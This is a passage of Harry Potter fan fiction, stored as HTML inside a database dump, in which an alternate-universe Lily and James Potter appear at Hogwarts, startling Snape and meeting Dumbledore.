didn&#8217;t feel like being alone in an unknown world.</p>\n\n<p>With a mother and uncle that were Aurors, it wasn&#8217;t very surprising to most people when he became one himself. The quick reflexes, brains and power level helped a lot when battling Death Eaters. But growing up in a family of Aurors also had its drawbacks. For one, James could never really be comfortable in a foreign environment until he had explored it fully. And though Hogwarts wasn&#8217;t necessarily <i>foreign</i>, having spent seven years there and visiting countless times after that made Hogwarts one of the most familiar buildings to him, this wasn&#8217;t Hogwarts. Or at least, it wasn&#8217;t <i>his </i>Hogwarts.</p>\n\n<p>This Hogwarts made him feel odd, as if he didn&#8217;t belong. And there was also a conflicting sense of magic he could feel. He wasn&#8217;t sure what to think. It was as if he was standing in the ocean, and it was when the tides were changing. Like when the water flowed one direction, pushing him out into it and then suddenly a giant wave came and the water began to sweep him in onto the beach, in other direction and no matter what he did, he could <i>not </i>free himself of the pull. To say it was uncomfortable would be an understatement.</p>\n\n<p>Deciding he <i>had </i>to explore, he found a pair of dark blue men&#8217;s wizarding robes in the armoire and pulled it over his head. There was also a pair of trainers in the armoire and he put them on as well. He didn&#8217;t bother brushing his hair; there was no reason to. His hair always turned back to its messy self after a few minutes. And after writing a note for Lily, he climbed out the portrait hole. <i>Let&#8217;s see what Professors are up at six-thirty in the morning, shall we?</i> Smirking, he explored the hallways.</p>\n\n<p>***</p>\n\n<p>As far as Severus Snape was concerned, the entire world could explode as long as it left him alone with his potions and a few textbooks of magical nature for reading. He was surprised that Voldemort hadn&#8217;t summoned him yet, but seeing as he received a letter from Lucius Malfoy voicing the same question in his thoughts, he knew that it wasn&#8217;t because Voldemort believed he was a traitor.</p>\n\n<p>And other than his worries on that particular subject, Severus was quite content with his summer. He had, after many tries, completed a Wolfsbane potion that didn&#8217;t taste half as bad as the former. Of course, Severus wasn&#8217;t exactly sure if it worked, only a werewolf could tell him that, but he was pleased with his accomplishments. There was also the fact that no students were in Hogwarts over the summer and perhaps the fact that Fred and George Weasley were graduating that year. And of course, the fact that Potter wasn&#8217;t there.</p>\n\n<p>Spending the time in his rooms, he had taken it for granted that people would leave him alone. Unfortunately, he was wrong.</p>\n\n<p>Minerva had come to him quite often to complain. Fulbright Flitwick was currently taking part in a Charms Seminar in Greece, Serena Sinistra was visiting a relative, Rubeus Hagrid was off with the giants and the other Professors, while most of them were present, did not spend a lot of time with Minerva McGonagall. Not that Severus did, either.</p>\n\n<p>Though Minerva had taught Severus Transfigurations and was one of the least annoying Professors, she could be such a <i>Gryffindo</i>r at times. But Minerva was intelligent and could participate in a decent conversation so Severus didn&#8217;t really <i>mind </i>her presence. </p>\n\n<p>But when Minerva kept on showing up outside his office with complaints of &#8220;Arabella keeps treating me like a <i>cat</i>&#8220;, &#8220;I certainly don&#8217;t <i>belong </i>to Albus!&#8221;, &#8220;Harry&#8217;s sent another letter!&#8221;, &#8220;I burped up a hairball!&#8221;, &#8220;A First Year actually refused to come!&#8221;, &#8220;Sybil&#8217;s predicting that someone lost will be found again&#8221; and other various complaints, Severus was glad that Minerva wasn&#8217;t there that morning.</p>\n\n<p>He had had another dream. A dream of his childhood, his eighth birthday with his cousin Raian. Raian had always been his favourite cousin. She was his age and didn&#8217;t mind that he didn&#8217;t like doing things that the other children did, but was content to sit and brew potions while he read. She never bothered him, was always quiet and was a powerful witch. But she had been a girl. A crime that could not be undone, a crime that brought shame upon her family. And not only that, she had been illegitimate. The fact that Alura Snape had had &#8216;relations&#8217; with a man with whom she was not married with, had caused a great stir in the family then. Though Severus himself hadn&#8217;t been born yet, the event was still talked about years later. Raian was the ever-lasting and evident proof that the family had something to hide.</p>\n\n<p>Her father was unknown to Severus, though the family knew. She had ice-blue eyes and at his eight birthday was wearing robes that matched her eyes. Her dark curly hair was pulled back and she looked older than her eight years. And she had done something almost unspeakable that night, something that Severus hadn&#8217;t understood for years.</p>\n\n<p>She had asked a question. It was a simple question, but a question so full of meaning that it had caused her a Cruciatus Curse as punishment. The scene of an eight year-old screaming and twitching on the floor was forever imprinted in his memory and what had followed that night had been worse. Raian had never been in good favour with the family and when she opened the gates, all the resentment and anger came flowing out. </p>\n\n<p>Severus shook his head, trying to clear his thoughts of his cousin. Raian had changed then. And by the time they got to Hogwarts, she was completely different, a girl bent on seeing the dark nature of things, never caring. The young child had been broken.</p>\n\n<p>Severus knew that he had to clear his mind and for once he decided to eat breakfast in the Great Hall. At six thirty in the morning, he knew that no one would be up, except for perhaps the Headmaster, but the Headmaster left him alone when need be. Unfortunately, Severus wasn&#8217;t aware that there were three other people that had joined the Hogwarts staff in the Castle last night&#8230;</p>\n\n<p>***</p>\n\n<p>Lily opened her eyes, blinking. The book on Modern Magical History she had been reading was all review for her. Apparently the two worlds did not differ that much until the Voldemort Era. Actually, she might have said that this world&#8217;s history was even more familiar to her than her own world&#8217;s. She placed the book on Harry&#8217;s bedside table as she stretched, and then picked it back up again as well as her teacup, kissed Harry lightly on the forehead and left the room. It was early, she realised as she looked at her watch. It read six forty-five a.m., or, on the wizarding side, &#8216;it&#8217;s too early, but you can&#8217;t go to sleep because James is missing&#8217;. She sighed. She should have <i>known</i> James would do something like that.</p>\n\n<p>James had given her the watch as a birthday present for her eighteenth birthday. It had belonged to his mother, but after his mother&#8217;s death he had inherited it. It was a magical watch which showed muggle and wizarding time with its own personality. A skill, which, at times, could be annoying. At least the watch was accurate. It <i>was </i>early, but she couldn&#8217;t go to sleep while James was away. Dumbledore&#8217;s warning was still in her mind and she wondered why he had even bothered to make it, for it was obvious James would ignore it and go exploring anyway.</p>\n\n<p>She sighed and made herself another cup of tea. She decided to wait on breakfast, she&#8217;d rather eat with James and Harry, though it occurred to her from Harry&#8217;s display last night, breakfast would be less than pleasurable. That is, until the whole thing was explained. She knew Harry would be more accepting if he wasn&#8217;t surprised. And she couldn&#8217;t blame him either. She turned back to her book. She was on the last chapter, &#8216;<i>The Fall of Lord Voldemort&#8217;</i>, which happened to be the chapter she had been waiting for.</p>\n\n<p>She sat back and began to read, knowing this held the key to why Harry had reacted in such a way, why Harry was alive and what had happened to her and James&#8217;s AUCs. And then the book fell through her hands along with the teacup, which shattered on the floor. Voldemort had attacked. She had completed the same spell, the spell to sacrifice her life for Harry&#8217;s. And in this world, the spell had worked.</p>\n\n<p>The In Amor Ipse Sacfricio Charm had worked. Voldemort had taken her life, which had saved Harry&#8217;s. But the In Amor spell did <i>not</i> cause the curse to backfire on its caster. That at least had been true in her world. Voldemort had also been defeated, but Harry had <i>lived. </i>It had been a wish of hers for years. <i>Why did I survive, but not Harry?</i></p><i>\n\n</i><p>And yet, here was a world where her wish had come true. She had perished, with James, and Harry had lived. He had been revered as the saviour, which he was. The new Messiah, one might say. And then a feeling of anger came over her. Sirius, well, from what she had read, Sirius was still considered a desperate criminal. Twelve years in Azkaban, for a crime he did not commit. In their world, Sirius had been sent to Azkaban, but had stayed there less than a week, since she and James had woken up and were able to tell the story of the Secret Keeper. She wondered if Harry knew that Sirius was innocent. </p>\n\n<p>And as she thought of it, she realised why Harry was staying with her sister and brother-in-law. He had stayed there since he was fifteen months old. Petunia had never really been <i>cruel, </i>she had been unpleasant, selfish and snobby, but she wasn&#8217;t <i>cruel</i>. Unfortunately, Vernon was. She remembered the first time she and Vernon met.</p>\n\n<p>She had just turned fifteen and Petunia, who was twenty and in college learning how to be a teacher, brought home her current boy friend. Petunia liked Vernon because he made money, he had a nice house and he knew how to suck up to people, including Andrea and Daniel Evans. Therefore Andrea had approved hesitantly and Daniel, though he still was a bit suspicious gave his acknowledgment of Vernon as a suitor for Petunia.</p>\n\n<p>Vernon <i>was </i>cruel. He also had the manners of a pig when he knew no one was around. He was generally unpleasant, hateful, spiteful and selfish. Vernon did not care about a thing unless it allowed him personal gain. He treated Lily well in the presence of her parents and then, as soon as Andrea had left to bring tea and Daniel went to his study to bring out a book, he had turned around and made insulting comments to her. </p>\n\n<p>He had also, when Lily had brought James home for a visit once, insulted James. James had brought a book with, which he had at home and was not found in the Hogwarts Library. Lily had wanted to read it and James offered to bring it to her. Vernon, on finding out that James was just as <i>freaky</i> as Lily, had almost hurt James seriously when attempting to play Football with Lily&#8217;s male relatives. Since it was during a game, which James had never played before, it was seen as an accident, though Lily and James had known it wasn&#8217;t.</p>\n\n<p>Vernon was a cruel person who was abusive and Lily made sure she kept in close contact with her elder sister to keep an eye out on her. Petunia would never admit that she was being abused, but if Lily prodded enough, she <i>might </i>give a hint. And that is what Lily hoped for. Vernon belonged behind bars.</p>\n\n<p>Lily paled at the thought of her son being abused by those people. The scars and bruises covering his body were proof. She <i>had </i>to get Harry away from him. Petunia was all right, for the most part. She might treat the boy badly, making him work like a servant, she had tried it enough with Lily, but physical abuse was not something she&#8217;d do. Of course, that still meant that Petunia could have caused Harry <i>emotional abuse. </i>Lily certainly knew enough about emotional abuse. If Petunia had married the right man, her deposition would have improved immensely and her treatment of Harry as well.</p>\n\n<p>As Lily bent down to pick up the dropped book and shattered cup, the meaning of the situation hit her. James and she were dead in this world. No wonder they had not felt any AUCs. And because she and James were dead, it would explain everyone&#8217;s reactions. That was the reason why she and James were to stay in their Suite, otherwise they&#8217;d certainly run into someone who would either curse them to kingdom come, or, cause someone to have a heart attack, neither of which was a pleasant experience for either party.</p>\n\n<p>She didn&#8217;t bother changing her clothes as she rushed out of the room. James, the Marauder who knew practically all of the secret passageways and hideouts in Hogwarts was loose, thought to be dead and ready to scare the wits out of anyone who came across him. <i>I pray to God Severus doesn&#8217;t teach in this world&#8230;</i></p><i>\n\n<p>***</p>\n\n</i><p>The paths of the two wizards wandering the Castle at six thirty in the morning were bound to meet and meet they did. Severus entered the Great Hall, made his way to the High Table and sat down as food appeared on the table. He made a conscious effort to concentrate on his food, he knew he had to eat <i>something, </i>though the food didn&#8217;t look very appetizing.</p>\n\n<p>He picked up the <i>Potions Quarterly</i> that lied by his place. The House Elves always collected the teachers&#8217; mail before the students&#8217; arrived, so it was awaiting them by their place at the High Table. Usually Severus would have dived into Potions Quarterly, but he realised he had no wish to read it at the moment. He really didn&#8217;t want to do anything, when a side door to the Great Hall opened.</p>\n\n<p>It was a man who appeared, with dark messy hair and wearing dark blue robes. He looked around, for some reason missed Severus and walked through the Hall. And as he walked by, Severus almost dropped his tea. It was Harry Potter. Of course, the boy had grown a lot, but it had to be Potter. He also looked <i>older</i>, but then again it was early morning and Severus&#8217;s mind wasn&#8217;t on Harry Potter, nor did he want it to be. And, there was no mistaking that infernal black bird-nest hair and glasses, or that self-centred gait. It <i>had</i> to be Potter. But what the hell was Potter doing at Hogwarts? <i>Better give him a detention and get it over with.</i></p><i>\n\n</i>\n\n<p>&#8220;Potter!&#8221; The boy turned around and instantly scowled, which was then replaced by a grin. <i>Oh God, Potter&#8217;s becoming more like his father everyday&#8230;</i> The smirk Potter wore was exactly like the grin James Potter wore when he was about to play a prank. Hopefully Harry Potter hadn&#8217;t begun to play pranks like his father. Potter got into enough trouble as it was, <i>without </i>deliberately trying to do so. Another thing was that Harry Potter did, in some ways, take after Lily Potter more, a fact that Severus was thankful for.</p>\n\n<p>&#8220;Oh hi, Snape! What&#8217;re you doing up so early?&#8221; Potter&#8217;s grin grew. &#8220;Never knew you were a morning person, Sevie.&#8221; Severus turned red. How dare Potter strut around the castle calling him &#8216;Sevie&#8217;. He was as worse as his father was.</p>\n\n<p>&#8220;Potter! That&#8217;s <i>Professor</i> Snape, you insolent boy. Consider a detention with me for a week as soon as school starts and fifty points from Gryffindor! You&#8217;re just like your father was, Potter, strutting around the school, believing rules were below him. And he also lacked the respect for his elders and betters like you do!&#8221; Severus did <i>not </i>need Potter this morning.</p>\n\n<p>Potter eyed Severus carefully. &#8220;You okay, Sevie, oh, excuse me, I mean <i>Professor </i>Snape?&#8221; He sneered the &#8216;Professor&#8217;. &#8220;I must admit, I didn&#8217;t even think <i>you </i>were to stupid enough to try to take points from Gryffindor when I&#8217;m not even a member of that house anymore.&#8221; He shook his head. &#8220;And you can&#8217;t give me detentions either.&#8221;</p>\n\n<p>&#8220;What the hell are you talking about, Potter? You are a Fifth Year who believes rules and respect is below him. I, as a teacher of this school, must punish you for your insolence. And do not preach me about how it is summer.&#8221; Severus seriously was wishing the Dark Lord would just fly in and get rid of Potter at the moment. He was getting a splitting headache and he did <i>not </i>wish to deal with Potter.</p>\n\n<p>And then, to Severus&#8217; surprise, Potter burst out laughing. &#8220;You- you think- think I&#8217;m- you think I&#8217;m <i>Harry</i>?&#8221; Severus stared at the boy. Was he losing his mind?</p>\n\n<p>&#8220;What is wrong with you, Potter? That&#8217;s another week detentions. Really, Potter, you remind me so much of your father, just as reckless as-&#8221; And Snape was surprised to have Potter standing in front of his face, shaking in fury.</p>\n\n<p>&#8220;How <i>dare </i>you insult my father, Snape. That&#8217;s really beneath you. And <i>how</i> can you insult my father, when even you don&#8217;t know who he was? The name of my father died with my mother, Snape, and I don&#8217;t want to hear a word against it. Secondly, Snape, you can <i>not </i>take points off <i>any</i> House for me, nor give me detention. I haven&#8217;t been enrolled in Hogwarts since I graduated in nineteen <i>seventy-nine</i>.&#8221; And Severus almost chocked as he lifted his head up to stare into the dark eyes of James Potter. <i>James Potter really looks familiar to someone when he glares like that&#8230;</i> was Severus&#8217; last coherent thought as he fainted.</p>\n\n<p>***</p>\n\n<p>It&#8217;s getting steadily darker. Next chapter you&#8217;ll get Harry and his reaction, as well as Snape&#8217;s reaction. I&#8217;ll try not to take so long next time.</p>\n\n<p>BTW, should I continue? Because I know this is going be AU tomorrow&#8230;and I don&#8217;t know if you want me to scrap this, or not. I have a feeling it&#8217;s going to be a lot different from the 5<sup>th</sup> book&#8230;</p>\n\n<p>-Myra 6/20/03</p>\n\n '),
	(137, 5, ' <p>After making you wait months for this chapter, I have decided to post it. Unfortunately it has not been beta-ed, so please pardon any mistakes. I hope to post a finished version of this chapter when my beta-reader gets back to me.</p>\n\n<p>Oh, and of course I am not discontinuing this story. Especially after I read OOTP. BTW, this story will have <i>no</i> influences from OOTP. This is officially AU and any comparisons it has with OOTP are pure coincidental, as I planned this story out long before hand.</p>\n\n<p>***</p>\n\n<p>Chapter 5: </p>\n\n<p></p>\n\n<p>Lily rushed through the halls, hurrying to find James. She should have <i>known </i>he was going to do something like this, especially because the Headmaster had warned him specifically against such. And she also knew how James got in new places. Although Hogwarts certainly wasn\'t <i>new</i> to them, it was a new <i>world</i> to them.</p>\n\n<p>And that brought up another question. James was much more in tune with his magic than she was. It came from James\' abilities, one of which was seeing magic and feeling magic. It was said that James had a sixth sense, the magical sense. She wondered if Harry had it as well. It <i>did</i> run in James\' family. But what she had realised was that this world didn\'t feel <i>wrong</i> like an alternate world should. An alternate world would give you a feeling of unpleasantness and though she felt a <i>little</i> odd, it was nothing compared to what she should have been feeling. It was almost as if she had been in that world before and had to re-adjust. Which was ridiculous, as she had never travelled between worlds before.</p>\n\n<p>But the matter at hand was that James was missing, in a castle where he knew everything and was thought to be dead. There was no telling how many people he could scare. Which of course explained Harry\'s reaction perfectly. She hoped that when Harry woke up, he\'d go straight to Dumbledore and receive an explanation.</p>\n\n<p>She neared the Great Hall. Hopefully that\'s where James would be, and hopefully there would be no one else around. Teachers lived at Hogwarts all year round, but they did occasionally go on vacation or to seminars or to consult or do research or other various things. Since Dumbledore rarely left the castle, Minerva McGonagall, as Deputy Headmistress, was the witch who ran the external affairs, such as writing to the students and making lesson plans, picking up ingredients for various spells and other magical items and other acts, which involved running the school.</p>\n\n<p>`Thunk\'! Lily found herself sitting on the ground, her nightdress astray. She looked up at her assailant, who turned out to be the man she was looking for. &quot;James? I\'ve been looking everywhere for you! You can\'t just run around the castle when Professor Dumbledore forbid us not to! And now I know the reason as well. Oh poor Harry-&quot;</p>\n\n<p>&quot;Lil.&quot; He cut her off. &quot;I have sort of a problem in there.&quot; He motioned towards the Hall. &quot;I kind have met Snape and he mistook me for Harry and then he realised who I was and he fainted.&#8221; James stood up, offering his hand to Lily. &quot;You know, I wonder why he fainted. There\'s not <i>that</i> much of a reason to faint when he sees me. I mean, it\'s a given he doesn\'t like me, but we both agreed to get along for your sake, you know. I still can\'t believe you <i>like</i> him. Honestly, such an ugly git.&quot;</p>\n\n<p>&quot;James. Shut up. We have to see Dumbledore. I figured part of it out. And Severus is one of my best friends.&quot; She shook her head at James and sighed. This was all she needed on top of everything else going on in her life. She started towards Dumbledore\'s office.</p>\n\n<p>&quot;Hey, Lils, what about old Sevie?&quot; James hurried up to her. Honestly, you\'re the one saying how good a friend he is.&quot;</p>\n\n<p>&quot;It\'s Lily, James and at the moment I don\'t want to have a thing to do with Severus Snape.&quot; She whirled around. The tension and everything had ended up getting to her. She hated how it happened like that. She didn&#8217;t need this on top of everything else happening to her. She was close to tears. &quot;James! Can\'t you- can\'t you understand? We\'re- we\'re <i>dead</i> in this world! Harry had to live with my sister for the last fourteen years! He\'s covered with bruises and scars! And you always have to play games with Severus! I swear you never understand a damn thing!&#8221; She hated doing this to James, but she didn\'t know what else to do. He was the only person, besides Severus who she could let it out on. And Dr. Zimmerman said she should let it out, whenever she felt the need.</p>\n\n<p>But part of it came from James, so he definitely deserved getting yelled at sometimes. The truth was their marriage wasn\'t perfect as it was made out to be. Yes, she loved James dearly and he loved her. He was kind, didn\'t cheat on her or do anything like that. But at the moment they weren\'t getting along.</p>\n\n<p>When they had gotten married, her mother expressed her concern in being married at eighteen. `Lily darling, eighteen is so young. Do you really want to make such a life-changing decision only on a whim?\' Her answer had been a yes. She loved James, he loved her and they wanted to be married as soon as possible.</p>\n\n<p>The first two years, before the attack, were wonderful. Even though Voldemort was at the height of his reign and she and James both fought him, they were happy at home. Home had always been a sanctuary. It had been the night after a hard attack where she had been kidnapped by Death Eaters that Harry had been conceived as James comforted her. </p>\n\n<p>James had always been there to kiss away her tears, to make her feel better. They had a wonderful home and family, even with the threat of Voldemort. And then came the Fidelus Charm.</p>\n\n<p>That had been the first time where their trust in one another had started to fall. James had picked Sirius, a decision Lily had gone along with, though she would have rather have had Dumbledore or someone not so easy to get a hold of. Sirius was an Auror with a reputation and making him their Secret Keeper would have added to the list of things he was wanted for by the Death Eaters. It wasn\'t that she didn\'t trust Sirius, because she did. God knows how often during that long week she had explained it to James.</p>\n\n<p>But James said that it would be okay. And eventually she had accepted that, until the fateful day Sirius appeared on their doorstep. Sirius had pleaded with them to switch to Peter. He had become a target for the Death Eaters, he didn\'t trust Remus, owing to Remus\'s father being a Death Eater and a surprise attack that the Death Eaters had shown up in, where everyone but Remus had been hit. <i>`Come, James, that attack could have only been told to the DEs by a spy. Remus was the only one not hurt. Think about it.\'</i></p><i>\n\n<p>`Did it ever occur to you that Remus is one of the best damned Aurors we have?\'</p>\n\n</i><p><i>`Think about it. Remus\'s father is a DE. I know he\'s been watched for months by the DEs. He\'s also a were-wolf, you know a Dark Creature. It\'s got to be him. And no one else knew about the attack besides my, you, Dumbledore, Lily, Remus and the rest of the Order.</i>\' Sirius had pleaded and James had finally shaken his head and replied that he didn\'t give a damn at the moment if Remus was the spy or not, as long as it wasn\'t him who Sirius was suggesting switching to. And no one thought to remember that Peter had been with Remus and James when Remus had started preparing for the attack and how many questions he had asked&#8230;</p>\n\n<p>&quot;Lil? We\'re here...&#8221; She looked up. Apparently she had been walking with out realising it as the gleaming door to Dumbledore\'s office rose to meet her, the gargoyle standing by its side. James walked up next to her, putting his arm on her shoulder. &quot;You okay?&quot;</p>\n\n<p>Lily nodded. James <i>did</i> know when to back off, for the most part, and he also made her feel so good. &quot;Hold me,&quot; she beseeched him. She needed a comforting presence around her, and the best one she could think of would be James\'s, as he wrapped her into a hug.</p>\n\n<p>&quot;I love you,&#8221; he whispered in her ear, rubbing her back, as she finally let it all out and burst into tears. And that is how Professor Dumbledore found them as he opened his door.</p>\n\n<p>*	*	*</p>\n\n<p>Professor Dumbledore motioned around his office. &quot;I see you have found your way here. Lily, James, is now an all right time to discuss your journey here and what has happened since the thirty-first October, nineteen eighty-one?&quot; He watched Lily and James sit down, James keeping a hold of Lily\'s hand.</p>\n\n<p>James kept his eyes on Lily. He cleared his throat. &quot;I- I guess so. Pardon me if I don\'t go into much detail about our world.&quot; Lily nodded. </p>\n\n<p>&quot;That\'s right. Professor, I don\'t think I could stand being forced to go through our past. I read a history book in out rooms and the history\'s the same, except the Death Eaters never stopped attacking after Voldemort fell. It actually gave them more thrill, it seemed. And Voldemort came back in 1992, at the end of what would have been Harry\'s First Year.</p>\n\n<p>&quot;We\'re, well, all of the Aurors are working hard. It seems where ever we go, there\'s more death and destruction. You still run Hogwarts, Severus is still a spy, Sirius is free, I hope he is here as well, Remus is also well, Talia and Sirius seem to have finally gotten together, though how long that will last, no one knows, and Peter escaped from Azkaban and is now working with Voldemort.&quot; Lily stopped and sighed. &quot;I may not know much of this world, but it certainly seems better than ours.&quot;</p>\n\n<p>Dumbledore nodded his head and opened his mouth, but before he could say anything, James cut in. &quot;Snape\'s fainted in the Great Hall.&quot; Dumbledore closed his mouth and James, ignoring Lily\'s glare, went on. &quot;He saw me and mistook me for Harry. And then he realised it was me and fainted. But, wouldn\'t he recognise me? He doesn\'t seem to have any brain damage or anything and he acts the same.&quot;</p>\n\n<p>&quot;We\'re dead, James.&quot; Lily said, matter-of-factly. &quot;We died when Harry did in our world. Instead of Harry dying, we did and Harry was raised by my sister, right Professor?&quot; Her bright eyes were trained on Dumbledore\'s bright blue ones.</p>\n\n<p>&quot;Yes, Lily, James. You perished on Halloween of nineteen eighty-one and Harry survived. Sirius was sent to Azkaban for being your Secret Keeper and the murder of twelve muggles and one Peter Pettigrew. Unfortunately the story came out only when Sirius escaped from Azkaban right before Harry\'s third year. Talia Dawson disappeared that night in grief, Remus Lupin was unable to care for Harry due to his monthly affliction and-&quot;</p>\n\n<p>&quot;And what about Severus?&quot; Lily cut in. &quot;I remember distinctly saying that if Sirius or Talia could not receive custody of Harry for any reason, then Severus would and he agreed.&quot; Lily crossed her arms. &quot;My sister I would not trust with anything valuable and Vernon would I never let near my son. Petunia my be a spiteful, spoiled person, but Vernon is cruel.&quot;</p>\n\n<p>&quot;Lily, you must understand they are Harry\'s only blood relation and he needs all the protection possible on him. Therefore I was able to set up wards due to the combined blood they both shared.&quot; Dumbledore looked grave. &quot;And I-&quot;</p>\n\n<p>&quot;What about my family, Professor? What about Brendan? Or-or my father. Surely-&quot; James stopped, staring straight at Dumbledore. &quot;My mother always said she\'d tell me, once I turned eighteen. And I\'m sixteen years older than eighteen, Professor.&quot;</p>\n\n<p>Dumbledore sighed, removing his glasses and cleaning them with a cloth. &quot;James, Brendan is gone. You should know that. He was gone even before you performed the Fidelus charm. And, as for your father, he is the <i>last</i> person on this earth I would entrust with Harry\'s care. Not to mention he was also gone. Lily\'s sister and her husband were the only people I could think of to entrust with Harry\'s care, due to the common blood they shared.&quot;</p>\n\n<p>Lily was silent. Everything was running through her head from `I\'m sorry, Mrs Potter, but your son is dead\' to Harry\'s cries of `Get Away from me, Death Eaters!\' Everything was so confusing. She felt so hopeless as she stood, fighting to keep her self standing. &quot;Professor, <i>Albus</i>, please, I <i>want</i> to stay here for awhile. I want, no, I <i>need</i> to get to know Harry. I understand, Professor, that this is not our real world, there world we belong in, but I want to see what Harry grows up like.&quot;</p>\n\n<p>James regarded his wife carefully. He understood her feelings perfectly. Lily had been suffering for the last fourteen years and he didn\'t want her to suffer any more. &quot;Professor, I admit seeing Harry would be nice. We never got to see him grow up and from what you told us, he sounds like a great kid.&quot;</p>\n\n<p>&quot;Lily, James. I know that you must wish to see Harry. However, it is uncertain how long you will be staying here. I must find a spell or potion that will eventually return you to your original universe. And, though I will certainly contact Severus about finding such a potion, I can assure you it <i>will</i> take some time. No fear, you are stuck in this world for quite a while and you both will have ample opportunities to interact with Harry.&quot; Dumbledore stood up. &quot;Now-&quot;</p>\n\n<p>&quot;Headmaster, I swear I saw James Potter! And then he knocked me out! It was no ghost, and I suggest you search the castle-&quot; Severus Snape came running in, slamming the door behind him. He was panting as if he had run all the way there, which he probably had.</p>\n\n<p>Lily raised her eyebrows. Severus looked different then he did in their world, not much, but a bit. It would take a trained eye to see the difference though and Lily knew she would be the only one. James would <i>never</i> notice a thing. &quot;Hello, Severus.&quot;</p>\n\n<p>He swirled around and his mouth dropped open as he noticed two very familiar figures, figures that <i>should</i> have been dead for years, standing in the Headmaster\'s office. &quot;Li- Lily?&quot; He staggered over. &quot;You- this has to be a trick!&quot; But deep down, he knew it wasn\'t. Lily had always been beautiful, with her dark red hair and bright emerald green eyes. She had been his only true friend during his school days and they had a relationship like a brother and sister. He knew her better than anyone else, except perhaps Potter, and Severus was sure there were things even Potter did not know about Lily.</p>\n\n<p>&quot;No, Severus, it <i>is</i> me.&quot; She walked out of the shadows in which she stood, hands clasped together in front of her. A classic Lily stance, Severus remembered. She had grown even more beautiful in the last fourteen years, but Severus noticed a certain tiredness hidden in the depths of her eyes, behind the wisdom and age. Lily always held a sense of maturity in her eyes, with wisdom beyond her years. But what really bothered Severus, was that Lily had lost some of her youthfulness and had gained, instead, worry and weariness.</p>\n\n<p>&quot;How- how are you alive? I was at your funeral...I remember what-what-&quot; Severus found he couldn\'t go on. He remembered the funeral, the dark wooden coffins draped with black velvet, being lowered into the ground. There hadn\'t been enough of Lily and James left to bury, only scraps of their clothing, James\'s glasses and their wands had been found. He may have extremely disliked James, but even he had been sorry to see him dead. And Lily&#8217;s death had been almost unbearable.</p>\n\n<p>The room was silent. Lily found that she couldn&#8217;t talk to Severus; it was as if something was blocking her throat. Her Severus was different. He taught potions at Hogwarts, enjoyed torturing students and looked the same. But her Severus didn&#8217;t look half as old as this Severus did, with all his loads on his shoulders. She found she couldn&#8217;t even compare the two of him. They were two completely separate Severus Snapes.</p>\n\n<p>&#8220;Severus, Lily and James are not from this World, but from an alternate universe. I was going to ask you if you could help- Lily brought them here because of a false potion. I-&#8221; Professor Dumbledore suddenly said. Lily felt relieved that he had broken the silence.</p>\n\n<p>&#8220;-How long?&#8221; Severus cut in. His dark eyes were even darker than usual.</p>\n\n<p>&#8220;I assume you are referring to how long Lily and James will be staying. And the answer to that is, Severus, I don&#8217;t know.&#8221; Professor Dumbledore said, sighing. &#8220;As it is, Lily, James, we need something for you two to do. You must stay in the castle, you saw what a fright Severus had and I don&#8217;t wish to cause a panic, but there must be something other than just sitting around possible.&#8221;</p>\n\n<p>James nodded. &#8220;All right, Professor. But, what about Sirius? Lil said he was in Azkaban?&#8221; The thought that his best friend was in Azkaban was not a pleasant thought, especially since Sirius should have been innocent. </p>\n\n<p>&#8220;Sirius escaped from Azkaban two years ago, James. He was imprisoned for twelve years, due to the belief he had betrayed you and that he had blown up a London street, killing thirteen people, one of which was Peter Pettigrew. Sirius Black is indeed innocent, but on the run.&#8221; Dumbledore said, sitting down at his desk.</p>\n\n<p>&#8220;But- damn!&#8221; James swore, earning him a reprimand from Lily. &#8220;He- twelve years! Does Harry know he&#8217;s innocent? And what about Peter? And why don&#8217;t we clear his name?&#8221;</p>\n\n<p>&#8220;Think James, you already heard what Professor Dumbledore said. We don&#8217;t want to cause a panic. And think of the reaction Harry had. Seriously, don\'t you think that reaction would be hundred times worse if the entire Magical Community? And we\'re not even staying here, forever that is. It\'s impossible.&quot; Lily answered matter-of-factly, knowing that would be the only way to keep the pain, tire and overall helplessness out of her voice.</p>\n\n<p>Severus glanced towards his best friend. He could read Lily like a book, and he knew Lily was about to break down. He could scarcely believe this was Lily Potter, such a far away throw from his Lily, who was always cheerful and never let anything bring her down. He had to turn the conversation away from Black. &#8220;Headmaster, what about Harry Potter.&#8221; But as the words left his mouth, he realised that they hadn&#8217;t helped very much. Lily looked more crestfallen than before.</p>\n\n<p>&#8220;Harry should be waking up any minute now and hopefully will come here. Then we shall explain to him what exactly happened.&#8221; Professor Dumbledore folded his hands on his desk. &#8220;Now, would anyone like a bit of tea? Or a lemon drop?&#8221;</p>\n\n<p>***</p>\n\n<p>Harry Potter groaned as he woke up. His right arm hurt, probably from where he had punched that Death Eater the night before. His eyes narrowed. That was really low of Voldemort to disguise Death Eaters as his parents. And stupid too. Did he <i>really</i> think Harry was going to fall for it?</p>\n\n<p>He groaned as he sat up. He hurt all over. It wasn&#8217;t as if he wasn&#8217;t <i>used</i> to waking up in pain, but this time the pain concentrated in one place-his head. He had a tremendous headache, which didn&#8217;t seem to want to go away.</p>\n\n<p>He sighed, and felt around for his glasses, before noticing something. He wasn&#8217;t in his bed at the Dursleys&#8217;, or in the cupboard under the stairs. He was in a large bed, with silk sheets and a purple duvet cover over it, canopied with dark purple velvet curtains and fat, plump pillows. </p>\n\n<p>Upon reaching his glasses, he put them on, the world swimming into view. The room was large, with a secretary in one corner, complete with writing supplies. A dresser stood to the side of it, a tall dresser with a mirror. An armoire was in the other corner, and between the dresser and armoire was a full-length mirror. There was a door on the other wall; Harry supposed that was the entrance.</p>\n\n<p>He got up gingerly and made his way there, stopping to rest every once in a while. If only wizards had Tylenol, or aspirin, <i>something</i> he could take for his head. And then it hit him. He was a <i>wizard</i>. He could do <i>magic</i>. Untraceable magic at that, and he could heal. The conversation from Mrs Figg and Professor McGonagall was still in his head. </p>\n\n<p>Therefore, Harry made it to the main room, sat down in a chair, and did the sensible thing. He concentrated on his headache, and it was gone. Harry was still in awe of this new Healing. From what he remembered of the earlier conversation, apparently his father had had it too. Which led him to another train of thought. </p>\n\n<p>If he was correct in remembering the night before, his Aunt, Uncle, Cousin and two Death Eaters posing as his parents were all currently at Hogwarts with him. He bolted for the door. He couldn&#8217;t let the two Death Eaters take over the school.</p>\n\n<p>He ran through the halls, aiming for Professor Dumbledore&#8217;s office. It never occurred to him that he could just &#8216;think&#8217; himself there. And then another thought reached him: he didn&#8217;t know the password. He groaned. It seemed as everything was against him.</p>\n\n<p>***</p>\n\n<p>&#8220;Chocolate Frog.&#8221; Nothing happened. &#8220;Every flavour 